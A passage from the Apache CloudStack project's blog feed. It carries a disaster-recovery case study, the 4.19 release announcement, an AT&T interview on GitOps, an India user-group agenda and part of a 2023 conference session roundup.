handle outages autonomously.
The decision to opt for open-source solutions was driven by the prohibitive costs and limitations of proprietary alternatives.</p><h4 class="anchor anchorWithStickyNavbar_LWe7" id="implementation">Implementation<a href="#implementation" class="hash-link" aria-label="Direct link to Implementation" title="Direct link to Implementation">​</a></h4><p>The DR solution was implemented between active zones for selective VMs. Leveraging Ceph's RBD Mirror Snapshot feature, the system could schedule and move data to the DR location and vice versa. StackBill's DR Control tool played a crucial role in managing the failover process. Importantly, this DR solution was achieved without any modifications to CloudStack. A Complete DR Solution involves compatible network and storage solutions. They have collaborated with client’s network team and offered solutions with storage and StackBill.</p><p>In the realm of cloud computing, Disaster Recovery (DR) has historically posed significant challenges. However, StackBill's pioneering journey showcases the attainability of cost-effective and efficient solutions. By harnessing open-source technologies, notably Apache CloudStack and Ceph Storage, StackBill not only achieved substantial cost reductions but also fortified business continuity for its clients.</p><br><a class="button button--primary button--lg" target="_blank" href="/files/acs-case-study-stackbill.pdf">Download the Case Study</a><br>]]></content:encoded>
            <category>case-studies</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack 4.19.0.0 Release]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-4.19.0.0-release</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-4.19.0.0-release</guid>
            <pubDate>Tue, 06 Feb 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache Software Foundation and the Apache CloudStack Project]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/cloudstack-4.19.0.0-release"><img loading="lazy" src="/assets/images/banner-ea6c4015f6670eddb224929e3902e75e.jpeg" title="Apache CloudStack 4.19.0.0 Release" width="1280" height="670" class="img_ev3q"></a></p><p>The Apache Software Foundation and the Apache CloudStack Project
Announces Apache® CloudStack® v4.19.</p><p>Apache CloudStack 4.19 is the most recent release of the cloud management platform.
It comes as a product of extensive contributions from the development community and
is a LTS release, guaranteeing ongoing maintenance and support for a period of 18 months. </p><p>The 4.19 release contains 314 new features, improvements and bug fixes since 4.18, 26 of
these being major features. Some of the highlighted features include:</p><ul><li>VMware to KVM Migration</li><li>KVM Import</li><li>CloudStack Object Storage</li><li>CloudStack DRS</li><li>VNF Appliances Support</li><li>Scheduled Instance Lifecycle Operations</li><li>OAuth 2 Authentication</li><li>CloudStack Snapshot Copy </li></ul><p>The full list of new features can be found in the project release notes at:
<a href="https://docs.cloudstack.apache.org/en/4.19.0.0/releasenotes" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.19.0.0/releasenotes</a></p><p>The CloudStack documentation includes upgrade instructions from previous versions of
Apache CloudStack, and can be found at:
<a href="https://docs.cloudstack.apache.org/en/4.19.0.0/upgrading" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.19.0.0/upgrading</a></p><p>The official installation, administration and API documentation for each of the releases
are available on our documentation page:
<a href="https://docs.cloudstack.apache.org/en/4.19.0.0/installguide" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.19.0.0/installguide</a></p><h1>Downloads</h1><p>The official source code for the 4.19.0.0 release can be downloaded from our downloads page:
<a href="https://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/downloads.html</a></p><p>In addition to the official source code release, individual
contributors have also made convenience binaries available on the
Apache CloudStack download page, and can be found at:</p><ul><li><a href="https://download.cloudstack.org/el/7/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/el/7/</a></li><li><a href="https://download.cloudstack.org/el/8/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/el/8/</a></li><li><a href="https://download.cloudstack.org/el/9/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/el/9/</a></li><li><a href="https://download.cloudstack.org/ubuntu/dists/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/ubuntu/dists/</a></li><li><a href="https://www.shapeblue.com/cloudstack-packages/" target="_blank" rel="noopener noreferrer">https://www.shapeblue.com/cloudstack-packages/</a></li></ul><h1>A Word from the Community</h1><div class="row"><div class="col col--3"><p><img loading="lazy" src="/assets/images/rohit-55ab91f68984fd3c8480bd01e2c60c6f.png" title="Rohit Yadav&quot; class=&quot;blog-image" width="820" height="920" class="img_ev3q"></p></div><div class="col col--9"><em>"4.19 is a fantastic release that is culmination of all our efforts from much of last year coming together with a ton of exciting new features and benefits for existing and new users such as VMware to KVM instance migration, a new pluggable object storage framework with support for Min.io, hypervisor-agnostic DRS, support for VNF appliances, DR as a service with multi-zone snapshot copy, OAuth2, KVM ingestion, VM action scheduler, a redesigned dashboard, and much more!"</em><p>-<!-- --> <a href="https://www.linkedin.com/in/rohityadavcloud/" target="_blank" rel="noopener noreferrer">Rohit Yadav</a>, CloudStack VP</p></div></div><br><div class="row"><div class="col col--3"><p><img loading="lazy" src="/assets/images/abhishek-e01eb82de97214fa5dd5378e60b7fc4f.png" title="Abhishek Kumar&quot; class=&quot;blog-image" width="902" height="952" class="img_ev3q"></p></div><div class="col col--9"><em>“The 4.19 release marks a significant milestone for CloudStack, combining a diverse array of new features and crucial fixes. The primary focus has been on enhancing the ease of adopting CloudStack, evident in capabilities like VMware to KVM migration and KVM ingestion. The introduction of the Object Store framework introduces a new dimension to storage capabilities within CloudStack. Features such as hypervisor-agnostic DRS and Snapshot Copy DRaaS further bolster the orchestration capabilities of CloudStack.<br><br>The release process has been a year-long collaborative effort involving over 40 contributors from both organizations and individuals. Kudos to the community members who not only contributed fantastic features but also played a crucial role in testing and refining each other's work. This collaborative endeavour has culminated in a feature-rich and stable 4.19 release.”</em><p>-<!-- --> <a href="https://www.linkedin.com/in/shwstppr/" target="_blank" rel="noopener noreferrer">Abhishek Kumar</a>, 4.19 Release Manager and PMC Member</p></div></div>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[CloudStack and GitOps at Enterprise Scale – The Success of AT&T]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-and-gitops-at-scale</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-and-gitops-at-scale</guid>
            <pubDate>Mon, 08 Jan 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[AT&T is a provider of telecommunications, media, and technology]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/cloudstack-and-gitops-at-scale"><img loading="lazy" src="/assets/images/banner-9480f9285440863dfe7769e74c41ba98.jpg" title="CSC" width="1200" height="629" class="img_ev3q"></a></p><h1>CloudStack and GitOps at Enterprise Scale – The Success of AT&amp;T</h1><p>AT&amp;T is a provider of telecommunications, media, and technology
services. The company offers wireless communications, data/broadband
and internet services, local and long-distance telephone services,
telecommunications equipment, managed networking, and wholesale
services. AT&amp;T is a 125+ year old telecommunications company based in
Dallas, Texas. Their main purpose is to create connection – a
connection to friends, family, work, commerce, education, health,
entertainment and more by using advanced technology and delivering
services globally.</p><p>During the annual CloudStack Collaboration Conference 2023, Alex
Dometrius, Associate Director - Technology at AT&amp;T, presented the talk
CloudStack and GitOps at Enterprise Scale, where he outlined their
journey with Apache CloudStack and the architecture they used to
managed their CloudStack-based platform using GitOps.</p><p>In the spirit of continuous improvement, Alex’s team looked for an
opportunity to improve on how they do infrastructure provisioning
within the enterprise ultimately leading to deployment of CloudStack.</p><p>After reviewing a few different cloud management platforms, AT&amp;T
decided to deploy CloudStack as a centrally-managed and
centrally-supported IaaS platform, because if its multi-tenancy,
allowing the application teams within the business to maintain their
own-dedicated environments. Other reasons to choose CloudStack were
the CloudStack Terraform Provider and Native APIs, over-provisioning
capabilities and ability to manage the CloudStack-based platform using
GitOps.</p><p>In their talk during the CloudStack Collaboration Conference, Alex
Dometrius shares more about the issued solved and the success with
CloudStack. As a follow up of their talk at the event, we asked a few
questions to the AT&amp;T team, to understand more about their choice of
technology and learn for their experience of managing infrastructure
at a large-scale and enterprise level.</p><iframe width="100%" height="480p" src="https://www.youtube.com/embed/Bc1a8YHdEq4?si=V7QZM660_YS9pjKp" title="YouTube video player" frameborder="0" allow="accelerometer;
autoplay; clipboard-write; encrypted-media; gyroscope;
picture-in-picture; web-share"></iframe><div class="text-center">Alex Dometrius, Associate Director - Technology at AT&amp;T, presents at CloudStack Collaboration Conference 2023.</div><strong>Why AT&amp;T chose open-source technologies?</strong><p>Our team has a long history of consuming and contributing to
open-source projects and we strive to use open-source technology
wherever possible. At risk of stating the cliché benefits of using
open-source software, there are several reasons why we lean towards
open-source solutions. Cost of entry is generally lower when deploying
open-source which allows us to deliver solutions to the business much
faster. These costs can also remain lower if there is an active
user/contributor community like what we found with CloudStack.</p><strong>During your talk, you mentioned running PoCs of CloudStack and other technologies. What do you recommended to be tested during a PoC?</strong><p>Why you chose CloudStack?&nbsp;  Each use case is different obviously. The
scale of the implementation, how users will interact with the
platform, how migration from present state to future state can be
carried out when deploying a new cloud platform are all items we took
into consideration. As mentioned, CloudStack checked several of the
requirements we had: multi-tenancy capabilities, support for
infrastructure as code, project quota controls, an active open-source
community, etc.</p><strong>How does CloudStack fit with the other technologies AT&amp;T uses internally?</strong><p>CloudStack’s ability to support VMWare was another reason we chose to
deploy it. We have an existing VMWare footprint and we chose
CloudStack as a mechanism to help continue to support VMWare workloads
while also moving to a KVM-focused VM platform. For our team, it was
less about how CloudStack fit into our existing technology stack, as
this stack has a lot of legacy, home-grown tools, and more about the
capabilities CloudStack will provide as an enabler for us to move to a
more modern private cloud platform.</p><strong>Do you run your datacenter ipv4 or ipv4/ipv6 or ipv6 only?</strong><p>Both ipv4 and ipv6. </p><strong>Why don’t you push back your container image cloudstack mgmt to the community? Do you have plans to contribute to the community?</strong><p>We have already begun contributing back to the community as mentioned
with our <a href="https://github.com/apache/cloudstack/pull/7889" target="_blank" rel="noopener noreferrer">PR for fiber channel multi-path for
KVM</a>. We will look at
what makes sense to contribute regarding the cloudstack management
container.</p><strong>What workloads are managed by CloudStack?</strong><p>Our expectation is essentially all workloads in the enterprise
can/could be managed with CloudStack. Web applications, Kubernetes
clusters, databases, etc.</p><h4>More about AT&amp;T: <a href="https://www.att.com" target="_blank" rel="noopener noreferrer">https://www.att.com</a></h4>]]></content:encoded>
            <category>case-studies</category>
        </item>
        <item>
            <title><![CDATA[CloudStack India User Group 2024]]></title>
            <link>https://cloudstack.apache.org/blog/india-user-group-2024</link>
            <guid>https://cloudstack.apache.org/blog/india-user-group-2024</guid>
            <pubDate>Mon, 08 Jan 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[On 23rd February, the 2024 edition of the CloudStack India User Group will be taking place in Hyderabad. The event will be taking place at: Q-Hub 5th floor, Road No 36 & 37, Jubilee Hills, Telangana, 500033.]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/india-user-group-2024"><img loading="lazy" src="/assets/images/banner-855a3448cc0b819dde5fc2fbc3b60503.jpg" title="CloudStack India User group 2024" width="1200" height="628" class="img_ev3q"></a></p><p>On <strong>23rd February</strong>, the 2024 edition of the CloudStack India User Group will be taking place in Hyderabad. The event will be taking place at: <strong>Q-Hub 5th floor, Road No 36 &amp; 37, Jubilee Hills, Telangana, 500033</strong>.</p><p>Whether you're already using Apache CloudStack or interested in learning more about this technology, we invite you to participate in the user group. The event will feature engaging tech talks, demonstrations, and user stories. Like all gatherings organised by the Apache CloudStack community, registration is free of charge.</p><a href="https://www.meetup.com/india-cloudstack-user-group/events/298324389/?isFirstPublish=true" target="_blank" rel="noopener noreferrer" class="button button--primary button--lg">REGISTER</a><br><h2 class="anchor anchorWithStickyNavbar_LWe7" id="submit-a-session-proposal">Submit a Session Proposal<a href="#submit-a-session-proposal" class="hash-link" aria-label="Direct link to Submit a Session Proposal" title="Direct link to Submit a Session Proposal">​</a></h2><p>The Call for Presentations is open! When proposing a talk, you can choose to present technical discussions, user stories, details on new features, integration presentations, and more! Submitting a session proposal to the user group provides a chance to showcase your expertise, actively contribute to the community, and receive recognition in the field of cloud computing.</p><strong>Please note, the deadline for session proposals is January 30th.</strong><br><br><a href="https://docs.google.com/forms/d/1jqEGPG6Xf2MwR5_u0RKySkNOti-pzxvDYQBYkCAV6o0" target="_blank" rel="noopener noreferrer" class="button button--primary button--lg">Submit a Talk</a><br><h2 class="anchor anchorWithStickyNavbar_LWe7" id="agenda">Agenda<a href="#agenda" class="hash-link" aria-label="Direct link to Agenda" title="Direct link to Agenda">​</a></h2><table><thead><tr><th>from</th><th>to</th><th>subject</th><th>speaker</th></tr></thead><tbody><tr><td>9:30</td><td>10.00</td><td>Registration + Meetup Welcome</td><td>Abhishek Kumar, Release Manager Apache CloudStack 4.19</td></tr><tr><td>10:00</td><td>10:30</td><td>CloudStack 101: The Best Way to Build Your Private Cloud</td><td>Rohit Yadav, VP Apache CloudStack</td></tr><tr><td>10:40</td><td>11:10</td><td>What’s New in CloudStack 4.19</td><td>Abhishek Kumar, Release Manager Apache CloudStack 4.19</td></tr><tr><td>11:20</td><td>11:50</td><td>How We Grew Up with CloudStack and Our Journey</td><td>Dilip Singh, DataHub</td></tr><tr><td>12:00</td><td>12:30</td><td>VM Migration from VMware to CloudStack and KVM</td><td>Suresh Anaparti, ShapeBlue</td></tr><tr><td>12:30</td><td>13:30</td><td>Q&amp;A and Lunch Break</td><td></td></tr><tr><td>13:30</td><td>14:00</td><td>Adoption of Apache CloudStack Among Public Cloud Service Providers</td><td>Amal Ranjith, StackBill</td></tr><tr><td>14:10</td><td>14:55</td><td>Elevating Cloud Infrastructure with Object Storage, DRS, VM Scheduling, and DRaaS</td><td>Jithin Raju &amp; Vishesh Jindal, ShapeBlue</td></tr><tr><td>15:05</td><td>15:50</td><td>CloudStack Tooling Ecosystem</td><td>Kiran Chavala, ShapeBlue</td></tr><tr><td>16:00</td><td>16:30</td><td>CloudStack Authentication Methods</td><td>Harikrishna Patnala, ShapeBlue</td></tr><tr><td>16:30</td><td>17:00</td><td>Q&amp;A</td><td>Coffee</td></tr></tbody></table><h2 class="anchor anchorWithStickyNavbar_LWe7" id="a-note-from-cloudstack-vp">A Note from CloudStack VP<a href="#a-note-from-cloudstack-vp" class="hash-link" aria-label="Direct link to A Note from CloudStack VP" title="Direct link to A Note from CloudStack VP">​</a></h2><div class="row"><div class="col col--9"><p>"CloudStack meetups are fantastic events where our community of users, contributors, vendors and integrators can come together, collaborate, network and showcase what they are doing with CloudStack, talk about their use-cases, offerings, problems and solutions.</p><p>Our meetups attendees benefit from catching up with the latest developments in the CloudStack ecosystem as well as learn about real-world use of CloudStack from actual users, learn about their interesting solutions, integrations and meet them face to face. It's just a great place to be at for anybody using CloudStack or considering to build a private cloud."</p><p>-<a href="https://www.linkedin.com/in/rohityadavcloud/" target="_blank" rel="noopener noreferrer">Rohit Yadav</a>, PMC Chair and VP Apache CloudStack</p></div><div class="col col--3"><p><img loading="lazy" src="/assets/images/Rohit-ec48ff296d347dcafa354b4062f56901.png" title="Rohit Yadav&quot; class=&quot;blog-image" width="394" height="382" class="img_ev3q"></p></div></div><h2 class="anchor anchorWithStickyNavbar_LWe7" id="share-the-word">Share the Word!<a href="#share-the-word" class="hash-link" aria-label="Direct link to Share the Word!" title="Direct link to Share the Word!">​</a></h2><p>Spread the word on social media and let your fellow cloud enthusiasts know about this user group! Share the news by using the registration and CFP links, as well as the event's official hashtag - <strong>#CSIndiaUG2024</strong>. Together, let's build a buzz that resonates across our community.</p>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[CloudStack Collaboration Conference 2023 Event Roundup]]></title>
            <link>https://cloudstack.apache.org/blog/ccc2023-roundup</link>
            <guid>https://cloudstack.apache.org/blog/ccc2023-roundup</guid>
            <pubDate>Thu, 07 Dec 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[The [CloudStack Collaboration Conference]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/ccc2023-roundup"><img loading="lazy" src="/assets/images/banner-ecfa210948dcd243534fb34787d23361.jpg" title="CCC 2023 Roundup" width="904" height="472" class="img_ev3q"></a></p><p>The <a href="https://www.cloudstackcollab.org/" target="_blank" rel="noopener noreferrer">CloudStack Collaboration Conference
2023</a> took place on 23-24th November. The
annual event is the largest get-together for the global Apache CloudStack
community. The hybrid event is aimed at developers, operators and users to
discuss and evolve the open-source software, its functionality and real-world
operability. It introduces attendees to the CloudStack family, community
leaders, project members and contributors.</p><p>The conference, arranged by a group of volunteers from the Apache CloudStack
Community, took place in the voco hotel, in Porte de Clichy, Paris. It hosted
over 350 attendees from 30+ countries, with 47 speakers holding sessions and
workshops.</p><p>The Apache CloudStack community would like to express their gratitude to the
sponsors of the conference, whose support made the event a reality – <a href="https://www.shapeblue.com/" target="_blank" rel="noopener noreferrer">ShapeBlue</a>,
<a href="https://storpool.com/" target="_blank" rel="noopener noreferrer">StorPool</a>, <a href="https://linbit.com/" target="_blank" rel="noopener noreferrer">LINBIT</a>, <a href="https://cloud.dimsi.io/#/" target="_blank" rel="noopener noreferrer">DIMSI</a>, <a href="https://vates.tech/" target="_blank" rel="noopener noreferrer">Vates</a>, <a href="https://mitteldeutsche-it.de/" target="_blank" rel="noopener noreferrer">mitteldeutsche IT</a>, <a href="https://www.leaseweb.com/" target="_blank" rel="noopener noreferrer">Leaseweb</a>, <a href="https://www.proio.com/" target="_blank" rel="noopener noreferrer">proIO</a> and
<a href="https://your.online/" target="_blank" rel="noopener noreferrer">Your.Online</a>.</p><p>This blog provides a summary of the event, featuring the session slides and recordings.</p><a href="https://photos.app.goo.gl/9Ke53cngVzTCS2wE7" target="_blank" rel="noopener noreferrer" class="button button--primary button--lg">View Photo Gallery</a><br><h2 class="anchor anchorWithStickyNavbar_LWe7" id="day-1-sessions">Day 1 Sessions<a href="#day-1-sessions" class="hash-link" aria-label="Direct link to Day 1 Sessions" title="Direct link to Day 1 Sessions">​</a></h2><h3 class="anchor anchorWithStickyNavbar_LWe7" id="state-of-the-union-rohit-yadav">State of the Union, <a href="https://www.linkedin.com/in/rohityadavcloud/" target="_blank" rel="noopener noreferrer">Rohit Yadav</a><a href="#state-of-the-union-rohit-yadav" class="hash-link" aria-label="Direct link to state-of-the-union-rohit-yadav" title="Direct link to state-of-the-union-rohit-yadav">​</a></h3><p>The Apache CloudStack project has had another exciting year – with growth in
adoption, functionality and community size. In the project’s annual State of The
Union talk, the current VP of the project, Rohit Yadav, reflects on the last
year of the project’s collaboration, developments in CloudStack and community
activity. He sets out how he sees the project developing over the next few
years.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/cCNCmJxxEPA?si=4gDlygRMvxFkKtpf9&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/hH2CO8kHcQaCQo?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="whats-new-in-cloudstack-419-abhishek-kumar">What’s New in CloudStack 4.19, <a href="https://www.linkedin.com/in/shwstppr/" target="_blank" rel="noopener noreferrer">Abhishek Kumar</a><a href="#whats-new-in-cloudstack-419-abhishek-kumar" class="hash-link" aria-label="Direct link to whats-new-in-cloudstack-419-abhishek-kumar" title="Direct link to whats-new-in-cloudstack-419-abhishek-kumar">​</a></h3><p>This session gives a brief introduction of the new and exciting feature in the
latest (upcoming) CloudStack LTS release, ie, 4.19.0. The discussion includes
the details on the timeline of the CloudStack 4.19.0 release, overview of some
of the marquee, new feature of the release – Object storage framework, KVM
ingestion, Hypervisor agnostic simple DRS, CAPC aware CKS, OAuth2, DRaaS with
Multi zone disaster recovery, etc and a summary of improvements added since the
previous major LTS release of the CloudStack, ie, 4.18.0.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/2TOM0oI80fU?si=I4k8FQJ_XGp4gDDK9&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/CeiT7H0R6N62rM?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="keynote-talk-open-source-is-not-dead-charles-schulz">Keynote Talk: Open Source is Not Dead, <a href="https://www.linkedin.com/in/charlesschulz/" target="_blank" rel="noopener noreferrer">Charles Schulz</a><a href="#keynote-talk-open-source-is-not-dead-charles-schulz" class="hash-link" aria-label="Direct link to keynote-talk-open-source-is-not-dead-charles-schulz" title="Direct link to keynote-talk-open-source-is-not-dead-charles-schulz">​</a></h3><p>Successful Open Source companies change their business models and then the open
source license they were distributing their software on. More and more it feels
like Open Source is just a marketing buzzword designed to lure customers to a
particular solution. On the regulatory front, the EU is implementing the CRA and
handling software as it were trucks manufacturing. Is there any hope left for
Open Source? Has it failed in delivering its premise? Fear not. Open Source’s
not dead. It has already won and it will prevail again.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/sEWBox97qG4?si=cJ7ZVRnaSBK5l9k9&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/8AqGBCIdZV8jFe?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="why-and-how-cloudstack-at-wesystems-stephan-bienek">Why and How CloudStack at weSystems, <a href="https://www.linkedin.com/in/stephan-bienek-66aa69206/" target="_blank" rel="noopener noreferrer">Stephan Bienek</a><a href="#why-and-how-cloudstack-at-wesystems-stephan-bienek" class="hash-link" aria-label="Direct link to why-and-how-cloudstack-at-wesystems-stephan-bienek" title="Direct link to why-and-how-cloudstack-at-wesystems-stephan-bienek">​</a></h3><p>Why? What? How? During the session, Stephan shares what made weSystems choose
CloudStack as their main platform, which they base most of their managed
services on. In addition, he talks about which services they provide based on
CloudStack and how they integrated and use CloudStack today.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/UyjxheK1Dp0?si=Pemo-3Zy8wja4Glr&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/yezSoxOEeGFX8c?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="how-we-use-cloudstack-to-provide-managed-hosting-swen-brüseke">How We Use CloudStack to Provide Managed Hosting, <a href="https://www.linkedin.com/in/swen-br%C3%BCseke-391912193/" target="_blank" rel="noopener noreferrer">Swen Brüseke</a><a href="#how-we-use-cloudstack-to-provide-managed-hosting-swen-brüseke" class="hash-link" aria-label="Direct link to how-we-use-cloudstack-to-provide-managed-hosting-swen-brüseke" title="Direct link to how-we-use-cloudstack-to-provide-managed-hosting-swen-brüseke">​</a></h3><p>Swen shows how proIO utilize CloudStack to provide customers with managed
hosting solutions and versatile public and private cloud solutions, mainly based
on open-source software.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/zZV8689HiUk?si=6HYye9qr_jV3mXSP&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/cTLrJgXbrFKyrj" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="panel-discussion-apache-cloudstack-question-time-giles-sirett-wido-den-hollander-stephan-bienek-swen-brüseke">Panel Discussion: Apache CloudStack Question Time, Giles Sirett, Wido den Hollander, Stephan Bienek, Swen Brüseke<a href="#panel-discussion-apache-cloudstack-question-time-giles-sirett-wido-den-hollander-stephan-bienek-swen-brüseke" class="hash-link" aria-label="Direct link to Panel Discussion: Apache CloudStack Question Time, Giles Sirett, Wido den Hollander, Stephan Bienek, Swen Brüseke" title="Direct link to Panel Discussion: Apache CloudStack Question Time, Giles Sirett, Wido den Hollander, Stephan Bienek, Swen Brüseke">​</a></h3><p>Panel group – taking a range of submitted questions from the audience (across
any subject).</p><iframe width="640" height="315" src="https://www.youtube.com/embed/Bx0zECFsyPg?si=3Ww-yWC3McoMNNyQ&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="kvm-security-groups-under-the-hood-wido-den-hollander">KVM Security Groups Under the Hood, <a href="https://www.linkedin.com/in/widodh/" target="_blank" rel="noopener noreferrer">Wido den Hollander</a><a href="#kvm-security-groups-under-the-hood-wido-den-hollander" class="hash-link" aria-label="Direct link to kvm-security-groups-under-the-hood-wido-den-hollander" title="Direct link to kvm-security-groups-under-the-hood-wido-den-hollander">​</a></h3><p>They are just a few clicks in the UI or a single API call, but how do security groups work at KVM hypervisor level? How do they filter traffic and what else do they do in addition to firewalling? What Anti-Spoofing policies are implemented by the security groups?</p><p>In this talk, Wido dives into the specifics of the security groups on the KVM hypervisor for both IPv4 and IPv6.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/NU1b7x2HO_E?si=G5QPOffq9Gcz6qX1&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/jpvFeSSAGBIoq0?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="elevating-privacy-and-security-in-cloudstack-boris-stoyanov">Elevating Privacy and Security in CloudStack, <a href="https://www.linkedin.com/in/bstoyanov/" target="_blank" rel="noopener noreferrer">Boris Stoyanov</a><a href="#elevating-privacy-and-security-in-cloudstack-boris-stoyanov" class="hash-link" aria-label="Direct link to elevating-privacy-and-security-in-cloudstack-boris-stoyanov" title="Direct link to elevating-privacy-and-security-in-cloudstack-boris-stoyanov">​</a></h3><p>In an increasingly interconnected digital landscape, safeguarding data privacy
and ensuring robust security measures are paramount. CloudStack offers a dynamic
ecosystem for deploying and managing cloud resources. However, to fully harness
its potential, it is crucial to address privacy and security concerns
effectively.</p><p>This presentation explores the realm of possibilities and demonstrates how
CloudStack can enhance the privacy and security of your cloud deployments. Boris
examines practical approaches to protect sensitive data, fortify communications,
and secure your infra against emerging threats. Join us on a journey to discover
how CloudStack can be your trusted ally in the quest for a more secure and
private cloud environment.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/1xeDKARcZQI?si=fBjXXoOqdWN7qgSB&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/yFdoBH1au7v1gl?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="migrating-vmware-infra-to-kvm-using-cloudstack-nicolas-vazquez">Migrating VMware Infra to KVM Using CloudStack, <a href="https://www.linkedin.com/in/nvazquezuy/" target="_blank" rel="noopener noreferrer">Nicolas Vazquez</a><a href="#migrating-vmware-infra-to-kvm-using-cloudstack-nicolas-vazquez" class="hash-link" aria-label="Direct link to migrating-vmware-infra-to-kvm-using-cloudstack-nicolas-vazquez" title="Direct link to migrating-vmware-infra-to-kvm-using-cloudstack-nicolas-vazquez">​</a></h3><p>In this session, Nicolas presents a new feature, targeted for CloudStack 4.19,
which allows administrators to migrate Instances from a VMware environment
(external or connected to CloudStack) and import them into a KVM
CloudStack-managed environment.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/B-hoNG_PPQk?si=uf0b8L-J6f4kG-Cn&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/2rNDwbqdxlZ3YW?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="updates-on-the-linstor-driver-for-cloudstack-rene-peinthor">Updates on the LINSTOR Driver for CloudStack, <a href="https://github.com/rp-" target="_blank" rel="noopener noreferrer">Rene Peinthor</a><a href="#updates-on-the-linstor-driver-for-cloudstack-rene-peinthor" class="hash-link" aria-label="Direct link to updates-on-the-linstor-driver-for-cloudstack-rene-peinthor" title="Direct link to updates-on-the-linstor-driver-for-cloudstack-rene-peinthor">​</a></h3><p>About two Years ago, the LINSTOR driver for CloudStack was merged into the
CloudStack code base, and it has received updates since then. Rene gives a quick
overview of LINSTOR/DRBD and the driver, followed by more details on recently
added features.</p><p>One is the ability to optionally store data snapshots on secondary storage,
about making deep copies of templates vs using snapshots, about using
LINSTOR/DRBD on XCP-ng hypervisors under Apache CloudStack, and (if finished by
